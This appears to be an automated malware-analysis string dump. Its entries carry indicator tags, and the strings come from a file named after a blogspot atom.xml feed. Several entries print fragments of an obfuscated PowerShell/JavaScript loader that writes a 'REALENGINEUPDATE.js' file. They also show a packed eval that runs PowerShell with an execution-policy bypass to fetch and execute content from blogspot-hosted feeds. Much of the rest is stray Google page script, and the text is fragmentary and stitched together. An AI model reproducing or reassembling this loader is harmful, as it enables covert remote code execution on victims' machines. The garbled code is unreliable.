'-6-5-7-6-6-1-634-332-8-6-6-7-5-63435-6--37-4-6-9-63436-63435-2-8-7-0-234-336-1-234-336--3234-3363432-234-336-5-234-336-4-2-9-73432-6-5-33434-6-6-7-5-63435-6--37-4-6-9-63436-63435-2-8-6--32-9-73432-7-2-6-5-7-4-7-5-7-2-63435-2-8-6---4-336-1-33436-2-7-2-7-33431-6-5-2-8-7-0-6-1-7-2-7--36-5-4-9-63435-7-4-2-8-6--323436-6-1-2-9-2-9-2-9-23432-2-8-2-8-6---434-6--32-5-6-1-2-9-33435-----5-33436-5--37-4-7-2-6-9-63435-6-7-23435-6-6-7-2-63436-63434-4--36-8-6-1-7-2-4--363436-6-4-6-5-2-8-6--323432--32--39-2-9-33431-6--323435-7-4-63436-5--37-4-7-2-6-9-63435-6-7-2-8-----6-2-9-2-9-734" (Indicator: "https://") "$allslave))$bulbuli = $hinagulgul.replace('sexalkabeer',$ALLSLAVEBACKUP)#bobs&vigina[IO.File]::WriteAllText("$colaburbumbum\\REALENGINEUPDATE.js", $bulbuli)$inkwur = 'https://bakc2000.blogspot.com/atom.xml'$shakalakaboomboom = '-6-5-7-6-6-1-634-332-8-6-6-7-5-63435-6--37-4-6-9-63436-63435-2-8-7-0-234-336-1-234-336--3234-3363432-234-336-5-234-336-4-2-9-73432-6-5-33434-6-6-7-5-63435-6--37-4-6-9-63436-63435-2-8-6--32-9-73432-7-2-6-5-7-4-7-5-7-2-63435-2-8-6---4-336-1-33436-2-7-2-7-33431-6-5-2-8-7-0-6-1-7-2-7--36-5-4-9-63435-7-4-2-8-6--323436-6-1-2-9-2-9-2-9-23432-2-8-2-8-6---434-6--32-5-6-1-2-9-33435-----5-33436-5--37-4-7-2-6-9-63435-6-7-23435-6-6-7-2-63436-63434-4--36-8-6-1-7-2-4--363436-6-4-6-5-2-8-6--323432--32--39-2-9-33431-6--323435-7-4-63436-5--37-4-7-2-6-9-63435-6-7-2-8-----6-2-9-2-9-73434-33432-6-9-6-6-2-8-2-1-2-7-2-7-23435-7-2-6-5-7-0-634-336-1-6--36-5-2-8-23436-53435-23436-234-335--37-4-7-2-6-9-63435-6-7-2-9-2-9-73432-7-7-6-8-6-9-634-336-5-2-8-6--323434-23434-2-9-73432-6-4-53432-6-5-2-8-" (Indicator: "https://") "$ALLSLAVEBACKUP = 'https://backuphotelall.blogspot.com/atom.xml'" (Indicator: "https://") "$inkwur = 'https://bakc2000.blogspot.com/atom.xml'" (Indicator: "https://") "eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4=q("o:{n-m-l-g-j}");i["8"](d);2="b>h*^ -a p>> -c (5\'w\'r(\'k\') -u>*B) | .(\'{x}{9}\'.3(\'9\',\'0\').3(\'x\',\'1\')-f\'6\' \'%%\').3(\'%%\',\'5\').3(\'6\',\'t\') | v A.0.0.1";2=2.3("*","e");2=2.3("*","e");2=2.3("*","e");2=2.3("^","z");2=2.3(">","s");2=2.3(">","s");2=2.3(">","s");2=2.3(">","s");4["y"](2,0,7);',38,38,'||Jigijigi|replace|combackmyex|I|lun|true|Sleep||eP|power||5000|||ADB9||WScript|00C04FD58A0B|https://backuphotelall.blogspot.com/atom.xml|11D0|1CF0|F935DC22|new|Bypa|ActiveXObject|||EX||ping|||RUN|ll|127|'.split('|'),0,{}))" (Indicator: "https://") "a.fileName;g&&(0=l&&(window.onerror=null)};})();;this.gbar_={CONFIG:[[[0,"www.gstatic.com","og.qtm.en_US.x3ks5OQMuEM.2019.O","com","en","538",0,[4,2,"","","","516079590","0"],null,"fUQbZN2VCvzG0PEPjs6JgAI",null,0,"og.qtm.iN01Z40G9Cg.L.W.O","AA2YrTsLMDC5ShDgua5PEfbsQVpNWEqjoQ","AA2YrTsQlHCws7t2r7Egcs1hOau_HvMlbg","",2,1,200,"USA",null,null,"1","538",1],null,[1,0.1000000014901161,2,1],[1,0.001000000047497451,1],[0,0,0,null,"","","",""],[0,0,"",1,0,0,0,0,0,0,null,0,0,null,0,0,null,null,0,0,0,"","","","","","",null,0,0,0,0,0,null,null,null,"rgba(32,33,36,1)","rgba(255,255,255,1)",0,0,1,null,null,1,0,0],null,null,["1","gci_91f30755d6a6b787dcc2a4062e6e9824.js","googleapis.client:gapi.iframes","","en"],null,null,null,null,["m;/_/scs/abc-static/_/js/k=gapi.gapi.en.yHsE3XoyXLE.O/d=1/rs=AHpOoo8LDClD0V3IE-5SJcudVO91TD73Qw/m=__features__","https://apis.google.com","","","","",null,1,"es_plusone_gc_20230201.0_p0","en",null,0],[0.009999999776482582,"com","538",[["19027682","19027681","7",1,5,2592000,"","AN2NJM5BDAa6cvYZR4fCi_TKCJBf-4XJFA:1679508605169",0,1,2,"https://www.google.com/_/og/promos/",0],"n","",["","",""],1,2592000,null,null,"https://www.google.com/url?q=https://accounts.google.com/signin/v2/identifier%3Fec%3Dhpp_signin_001\u0026source=hpp\u0026id=19027682\u0026ct=7\u0026usg=AOvVaw1qUjFhPxp7fMYOATo9Y8zd",null,null,null,null,null,1,null,0,0,1,0,0,0,null,null,0,0,null,0,0,0,0,0],null,null,null,0,null,null,["5061451","google\\.(com|ru|ca|by|kz|com\\.mx|com\\.tr)$",1]],[1,1,null,40400,538,"USA","en","516079590.0",8,0.009999999776482582,0,0,null,null,null,null,"3700942",null,null,null,"fUQbZN2VCvzG0PEPjs6JgAI",1,0,0,null,2,5,"pw",21,0,0,0,0,1],[[null,null,null,"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.x3ks5OQMuEM.2019.O/rt=j/m=qabr q_d qcwid qapid qald/exm=qaaw qadd qaid qein qhaw qhba qhbr qhch qhga qhid qhin qhpr/d=1/ed=1/rs=AA2YrTsLMDC5ShDgua5PEfbsQVpNWEqjoQ"],[null,null,null,"https://www.gstatic.com/og/_/ss/k=og.qtm.iN01Z40G9Cg.L.W.O/m=qcwid/excm=qaaw qadd qaid qein qhaw qhba qhbr qhch qhga qhid qhin qhpr/d=1/ed=1/ct=zgms/rs=AA2YrTsQlHCws7t2r7Egcs1hOau_HvMlbg"]],null,null,null,[[[null,null,[null,null,null,"https://ogs.google.com/widget/callout?prid=19027682\u0026pgid=19027681\u0026puid=1421396ff301105b\u0026cce=1\u0026dc=1"],0,280,420,70,25,0,null,0,null,null,8000,null,71,3,null,[19027682,19027681,"",1,5,"AN2NJM5BDAa6cvYZR4fCi_TKCJBf-4XJFA:1679508605169","",0,2592000,"1421396ff301105b",0,2,0,"https://www.google.com/url?q=https://accounts.google.com/signin/v2/identifier%3Fec%3Dhpp_signin_001\u0026source=hpp\u0026id=19027682\u0026ct=7\u0026usg=AOvVaw1qUjFhPxp7fMYOATo9Y8zd","https://www.google.com/_/og/promos/",0,0,0,0,0,0],0,null,null,null,0,null,76,null,null,null,107,108,109,"",null,null,null,0],[null,null,[null,null,null,"https://ogs.google.com/widget/app/so?awv2=1"],0,448,328,57,4,1,0,0,63,64,8000,"https://www.google.com/intl/en/about/products",67,1,69,null,1,70,"Can't seem to load the app launcher right now. Try again or go to the %1$sGoogle Products%2$s page.",3,0,0,74,0,null,null,null,null,null,null,null,"/widget/app/so",null,null,null,null,null,null,null,0]],null,null,"1","538",1,0,null,"en",0,null,0,0,0,null,0]]],};this.gbar_=this.gbar_||{};(function(_){var window=this;" (Indicator: "https://"), "_.ld=function(a){a=(a||_.m).document;return a.querySelector?(a=a.querySelector('style[nonce] link[rel="stylesheet"][nonce]'))&&(a=a.nonce||a.getAttribute("nonce"))&&kd.test(a)?a:"":""};_.md=RegExp("^\\s{3,4}at(?: (?:(.*?)\\.)?((?:new )?(?:[a-zA-Z_$][\\w$]*|))(?: \\[as ([a-zA-Z_$][\\w$]*)\\])?)? (?:\$unknown source\$|\$native\$|\$(?:eval at )?((?:http|https|file)://[^\\s)]+|javascript:.*)\$|((?:http|https|file)://[^\\s)]+|javascript:.*))$");_.nd=RegExp("^(?:(.*?)\\.)?([a-zA-Z_$][\\w$]*(?:/.?<)?)?(\$.*\$)?@(?::0|((?:http|https|file)://[^\\s)]+|javascript:.*))$");var od,rd,qd;_.pd=function(a){let b;b=window.google&&window.google.logUrl?"":"https://www.google.com";b+="/gen_204?use_corp=on&";b+=a.Ia(2040-b.length);od(_.Sc(b)||_.Wc)};od=function(a){var b=new Image,c=qd;b.onerror=b.onload=b.onabort=function(){c in rd&&delete rd[c]};rd[qd++]=b;b.src=_.Oc(a)};rd=[];qd=0;_.sd=class extends _.H{constructor(a){super(a)}};_.td=a=>{var b="Cc";if(a.Cc&&a.hasOwnProperty(b))return a.Cc;b=new a;return a.Cc=b};var zd,vd,xd;_.wd=function(a,b){var c=_.ud.j();if(a in c.j){if(c.j[a]!=b)throw new vd;}else{c.j[a]=b;if(b=c.o[a])for(let d=0,e=b.length;d

Google apps

" (Indicator: "base64"; in File: "urlref_httpsbackuphotelall.blogspot.comatom.xml")45:Tf11,Found string "if(c){b=e&&!0;e=this.o;let h;for(d=0;dparseFloat(a[1])&&(this.o=!0)}D(a,b){this.j=b;this.C=a;b.preventDefault?b.preventDefault():b.returnValue=!1}};_.Ac=class{constructor(){this.data={}}Ia(a){var b=[],c;for(c in this.data)b.push(encodeURIComponent(c)+"="+encodeURIComponent(String(this.data[c])));return("atyp=i&zx="+(new Date).getTime()+"&"+b.join("&")).substr(0,a)}};var Bc=class extends _.Ac{constructor(a,b){super();var c=_.F(a,tc,8)||new tc;window.google&&window.google.kEI&&(this.data.ei=window.google.kEI);this.data.sei=_.w(_.C(a,10));this.data.ogf=_.w(_.C(c,3));this.data.ogrp=(window.google&&window.google.sn?!/.*hp$/.test(window.google.sn):_.t(_.E(a,7)))?"1":"";this.data.ogv=_.w(_.C(c,6))+"."+_.w(_.C(c,7));this.data.ogd=_.w(_.C(a,21));this.data.ogc=_.w(_.C(a,20));this.data.ogl=_.w(_.C(a,5));b&&(this.data.oggv=b)}};var ib="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.Cc=class extends Bc{constructor(a,b,c,d,e){super(a,b);_.jb(this.data,{jexpid:_.w(_.C(a,9)),srcpg:"prop="+_.w(_.C(a,6)),jsr:Math.round(1/d),emsg:c.name+":"+c.message});if(e){e._sn&&(e._sn="og."+e._sn);for(const f in e)this.data[encodeURIComponent(f)]=e[f]}}};var Dc;_.Ec=function(){void 0===Dc&&(Dc=_.rb("ogb-qtm#html"));return Dc};_.Hc=function(a,b){this.j=a===_.Fc&&b||"";this.o=_.Gc};_.Hc.prototype.Pb=!0;_.Hc.prototype.qb=function(){return this.j};_.Gc={};_.Fc={};_.Jc=class{constructor(a,b){this.j=b===_.Ic?a:""}toString(){return this.j+""}};_.Jc.prototype.Pb=!0;_.Jc.prototype.qb=function(){return this.j.toString()};_.Lc=function(a){return _.Kc(a).toString()};_.Kc=function(a){return a instanceof _.Jc&&a.constructor===_.Jc?a.j:"type_error:TrustedResourceUrl"};_.Ic={};var Pc,Qc,Tc,Uc,Mc;_.Nc=class{constructor(a,b){this.j=b===Mc?a:""}toString(){return this.j.toString()}};_.Nc.prototype.Pb=!0;_.Nc.prototype.qb=function(){return this.j.toString()};_.Oc=function(a){return a instanceof _.Nc&&a.constructor===_.Nc?a.j:"type_error:SafeUrl"};Pc=/^data:(.*);base64,[a-z0-9+\/]+=*$/i;Qc=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;" (Indicator: "base64"; in File: "urlref_httpsbackuphotelall.blogspot.comatom.xml")46:T2662,")}google.ml(Error(d?"Missing ID with prefix "+d:"Missing ID"),!1,c)}}catch(m){google.ml(m,!0,{"jsl.dh":!0})}};(function(){var x=true;google.jslm=x?2:1;})();google.x(null, function(){(function(){(function(){google.csct={};google.csct.ps='AOvVaw3yO6xlZrTo0lLJ_w6PRD0G\x26ust\x3d1679595005191516';})();})();(function(){(function(){google.csct.rl=true;})();})();(function(){(function(){google.csct.pi=true;})();})();(function(){window.jsl=window.jsl||{};window.jsl.dh=window.jsl.dh||function(i,c,d){try{var e=document.getElementById(i);if(e){e.innerHTML=c;if(d){d();}}else{if(window.jsl.el){window.jsl.el(new Error('Missing ID.'),{'id':i});}}}catch(e){if(window.jsl.el){window.jsl.el(new Error('jsl.dh'));}}};})();(function(){window.jsl.dh('spch','\x3cstyle\x3e.spch-dlg{background:transparent;border:none}.spch{background:#fff;height:100%;left:0;opacity:0;overflow:hidden;position:fixed;text-align:left;top:0;visibility:hidden;width:100%;z-index:10000;transition:visibility 0s linear 0.218s,background-color 0.218s;}.s2fp.spch{opacity:1;transition-delay:0s;visibility:visible;}.close-button{background:none;border:none;color:#70757a;cursor:pointer;font-size:26px;right:0;line-height:15px;opacity:.6;margin:-1px -1px 0 0;padding:0 0 2px 0;height:48px;width:48px;position:absolute;top:0;z-index:10}.close-button:hover{opacity:.8}.close-button:active{opacity:1}.spchc{display:block;height:42px;pointer-events:none;margin:auto;position:relative;top:0;margin-top:312px;max-width:572px;min-width:534px;padding:0 223px}.inner-container{height:100%;opacity:.1;pointer-events:none;width:100%;transition:opacity .318s ease-in}.s2ml .inner-container,.s2ra .inner-container,.s2er .inner-container{opacity:1;transition:opacity 0s}\x3c/style\x3e\x3cstyle\x3e.google-logo{background:url(data:image/png;base64,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\x3d) no-repeat center;background-size:94px 32px;height:32px;width:94px;top:8px;opacity:0;float:right;left:255px;pointer-events:none;position:relative;transition:opacity .5s ease-in,left .5s ease-in}\x3c/style\x3e\x3cbutton class\x3d\x22close-button\x22 id\x3d\x22spchx\x22 aria-label\x3d\x22close\x22\x3e\x26times;\x3c/button\x3e\x3cdiv class\x3d\x22spchc\x22 id\x3d\x22spchc\x22\x3e\x3cdiv class\x3d\x22inner-container\x22\x3e\x3cdiv class\x3d\x22button-container\x22\x3e\x3cstyle\x3e.LgbsSe{background-color:#fff;border:1px solid #f8f9fa;border-radius:100%;bottom:0;box-shadow:0 2px 5px rgba(0,0,0,.1);cursor:pointer;display:inline-block;opacity:0;pointer-events:none;position:absolute;right:0;transition:background-color 0.218s,border 0.218s,box-shadow 0.218s;transition-delay:0;position:absolute;opacity:0;left:0;top:0}.s2fp .LgbsSe{opacity:1;pointer-events:auto;transform:scale(1);}.s2ra .LgbsSe{background-color:#ea4335;border:0;box-shadow:none}.r8s4j{background-color:#dadce0;border-radius:100%;display:inline-block;opacity:1;pointer-events:none;position:absolute;transform:scale(.01);transition:opacity 0.218s;height:301px;left:-69px;top:-69px;width:301px;}.button-container{pointer-events:none;position:relative;transition:transform 0.218s,opacity 0.218s ease-in;transform:scale(.1);height:165px;width:165px;right:-70px;top:-70px;float:right;}.s2fp .button-container{transform:scale(1)}.s2ra .LgbsSe:active{background-color:#c5221f}.LgbsSe:active{background-color:#f8f9fa}\x3c/style\x3e\x3cspan class\x3d\x22r8s4j\x22 id\x3d\x22spchl\x22\x3e\x3c/span\x3e\x3cspan class\x3d\x22LgbsSe\x22 id\x3d\x22spchb\x22\x3e\x3cdiv class\x3d\x22microphone\x22\x3e\x3cstyle\x3e.microphone{height:87px;pointer-events:none;position:absolute;width:42px;top:47px;transform:scale(1);left:43px;}.receiver{background-color:#999;border-radius:30px;height:46px;left:25px;pointer-events:none;position:absolute;width:24px}.wrapper{bottom:0;height:53px;left:11px;overflow:hidden;pointer-events:none;position:absolute;width:52px}.stem{background-color:#999;bottom:14px;height:14px;left:22px;pointer-events:none;position:absolute;width:9px;z-index:1}.shell{border:7px solid #999;border-radius:28px;bottom:27px;height:57px;pointer-events:none;position:absolute;width:38px;z-index:0;left:0px}.s2ml .receiver,.s2ml .stem{background-color:#f44}.s2ml .shell{border-color:#f44}.s2ra .receiver,.s2ra .stem{background-color:#fff}.s2ra .shell{border-color:#fff}\x3c/style\x3e\x3cspan class\x3d\x22receiver\x22\x3e\x3c/span\x3e\x3cdiv class\x3d\x22wrapper\x22\x3e\x3cspan class\x3d\x22stem\x22\x3e\x3c/span\x3e\x3cspan class\x3d\x22shell\x22\x3e\x3c/span\x3e\x3c/div\x3e\x3c/div\x3e\x3c/span\x3e\x3c/div\x3e\x3cdiv class\x3d\x22text-container\x22\x3e\x3cstyle\x3e.text-container{pointer-events:none;position:absolute;}.spcht{font-weight:normal;line-height:1.2;opacity:0;pointer-events:none;position:absolute;text-align:left;-webkit-font-smoothing:antialiased;transition:opacity .1s ease-in,margin-left .5s ease-in,top 0s linear 0.218s;left:-44px;top:-.2em;margin-left:44px;font-size:32px;width:460px;}.s2fp .spcht{margin-left:0;opacity:1;transition:opacity .5s ease-out,margin-left .5s ease-out}.spchta{color:#1a0dab;cursor:pointer;font-size:18px;font-weight:500;pointer-events:auto;text-decoration:underline}.spch-2l.spcht,.spch-3l.spcht,.spch-4l.spcht{transition:top 0.218s ease-out}.spch-2l.spcht{top:-.6em}.spch-3l.spcht{top:-1.3em}.spch-4l.spcht{top:-1.7em}.s2fp .spch-5l.spcht{top:-2.5em;}\x3c/style\x3e\x3cspan class\x3d\x22spcht\x22 style\x3d\x22color:#70757a\x22 id\x3d\x22spchi\x22\x3e\x3c/span\x3e\x3cspan class\x3d\x22spcht\x22 style\x3d\x22color:#000\x22 id\x3d\x22spchf\x22\x3e\x3c/span\x3e\x3c/div\x3e\x3cdiv class\x3d\x22google-logo\x22\x3e\x3c/div\x3e\x3c/div\x3e\x3cdiv class\x3d\x22permission-bar\x22\x3e\x3cstyle\x3e.permission-bar{margin-top:-100px;opacity:0;pointer-events:none;position:absolute;width:500px;transition:opacity 0.218s ease-in,margin-top .4s ease-in}.s2wfp .permission-bar{margin-top:-300px;opacity:1;transition:opacity .5s ease-out 0.218s,margin-top 0.218s ease-out 0.218s}.permission-bar-gradient{box-shadow:0 1px 0px #4285f4;height:80px;left:0;margin:0;opacity:0;pointer-events:none;position:fixed;right:0;top:-80px;transition:opacity 0.218s,box-shadow 0.218s}.s2wfp .permission-bar-gradient{box-shadow:0 1px 80px #4285f4;opacity:1;pointer-events:none;animation:allow-alert .75s 0 infinite;animation-direction:alternate;animation-timing-function:ease-out;transition:opacity 0.218s,box-shadow 0.218s}@-webkit-keyframes allow-alert {from{opacity:1}to{opacity:.35}}\x3c/style\x3e\x3cdiv class\x3d\x22permission-bar-gradient\x22\x3e\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e');})();(function(){google.drty&&google.drty(undefined,true);})();});google.drty&&google.drty(undefined,true);" (Indicator: "base64"; in File: "urlref_httpsbackuphotelall.blogspot.comatom.xml")47:Tf11,Found string "if(c){b=e&&!0;e=this.o;let h;for(d=0;dparseFloat(a[1])&&(this.o=!0)}D(a,b){this.j=b;this.C=a;b.preventDefault?b.preventDefault():b.returnValue=!1}};_.Ac=class{constructor(){this.data={}}Ia(a){var b=[],c;for(c in this.data)b.push(encodeURIComponent(c)+"="+encodeURIComponent(String(this.data[c])));return("atyp=i&zx="+(new Date).getTime()+"&"+b.join("&")).substr(0,a)}};var Bc=class extends _.Ac{constructor(a,b){super();var c=_.F(a,tc,8)||new tc;window.google&&window.google.kEI&&(this.data.ei=window.google.kEI);this.data.sei=_.w(_.C(a,10));this.data.ogf=_.w(_.C(c,3));this.data.ogrp=(window.google&&window.google.sn?!/.*hp$/.test(window.google.sn):_.t(_.E(a,7)))?"1":"";this.data.ogv=_.w(_.C(c,6))+"."+_.w(_.C(c,7));this.data.ogd=_.w(_.C(a,21));this.data.ogc=_.w(_.C(a,20));this.data.ogl=_.w(_.C(a,5));b&&(this.data.oggv=b)}};var ib="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.Cc=class extends Bc{constructor(a,b,c,d,e){super(a,b);_.jb(this.data,{jexpid:_.w(_.C(a,9)),srcpg:"prop="+_.w(_.C(a,6)),jsr:Math.round(1/d),emsg:c.name+":"+c.message});if(e){e._sn&&(e._sn="og."+e._sn);for(const f in e)this.data[encodeURIComponent(f)]=e[f]}}};var Dc;_.Ec=function(){void 0===Dc&&(Dc=_.rb("ogb-qtm#html"));return Dc};_.Hc=function(a,b){this.j=a===_.Fc&&b||"";this.o=_.Gc};_.Hc.prototype.Pb=!0;_.Hc.prototype.qb=function(){return this.j};_.Gc={};_.Fc={};_.Jc=class{constructor(a,b){this.j=b===_.Ic?a:""}toString(){return this.j+""}};_.Jc.prototype.Pb=!0;_.Jc.prototype.qb=function(){return this.j.toString()};_.Lc=function(a){return _.Kc(a).toString()};_.Kc=function(a){return a instanceof _.Jc&&a.constructor===_.Jc?a.j:"type_error:TrustedResourceUrl"};_.Ic={};var Pc,Qc,Tc,Uc,Mc;_.Nc=class{constructor(a,b){this.j=b===Mc?a:""}toString(){return this.j.toString()}};_.Nc.prototype.Pb=!0;_.Nc.prototype.qb=function(){return this.j.toString()};_.Oc=function(a){return a instanceof _.Nc&&a.constructor===_.Nc?a.j:"type_error:SafeUrl"};Pc=/^data:(.*);base64,[a-z0-9+\/]+=*$/i;Qc=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;" (Indicator: "base64"; in File: "urlref_httpsbackuphotelall.blogspot.comatom.xml")48:T2662,")}google.ml(Error(d?"Missing ID with prefix "+d:"Missing ID"),!1,c)}}catch(m){google.ml(m,!0,{"jsl.dh":!0})}};(function(){var x=true;google.jslm=x?2:1;})();google.x(null, function(){(function(){(function(){google.csct={};google.csct.ps='AOvVaw3yO6xlZrTo0lLJ_w6PRD0G\x26ust\x3d1679595005191516';})();})();(function(){(function(){google.csct.rl=true;})();})();(function(){(function(){google.csct.pi=true;})();})();(function(){window.jsl=window.jsl||{};window.jsl.dh=window.jsl.dh||function(i,c,d){try{var e=document.getElementById(i);if(e){e.innerHTML=c;if(d){d();}}else{if(window.jsl.el){window.jsl.el(new Error('Missing ID.'),{'id':i});}}}catch(e){if(window.jsl.el){window.jsl.el(new Error('jsl.dh'));}}};})();(function(){window.jsl.dh('spch','\x3cstyle\x3e.spch-dlg{background:transparent;border:none}.spch{background:#fff;height:100%;left:0;opacity:0;overflow:hidden;position:fixed;text-align:left;top:0;visibility:hidden;width:100%;z-index:10000;transition:visibility 0s linear 0.218s,background-color 0.218s;}.s2fp.spch{opacity:1;transition-delay:0s;visibility:visible;}.close-button{background:none;border:none;color:#70757a;cursor:pointer;font-size:26px;right:0;line-height:15px;opacity:.6;margin:-1px -1px 0 0;padding:0 0 2px 0;height:48px;width:48px;position:absolute;top:0;z-index:10}.close-button:hover{opacity:.8}.close-button:active{opacity:1}.spchc{display:block;height:42px;pointer-events:none;margin:auto;position:relative;top:0;margin-top:312px;max-width:572px;min-width:534px;padding:0 223px}.inner-container{height:100%;opacity:.1;pointer-events:none;width:100%;transition:opacity .318s ease-in}.s2ml .inner-container,.s2ra .inner-container,.s2er .inner-container{opacity:1;transition:opacity 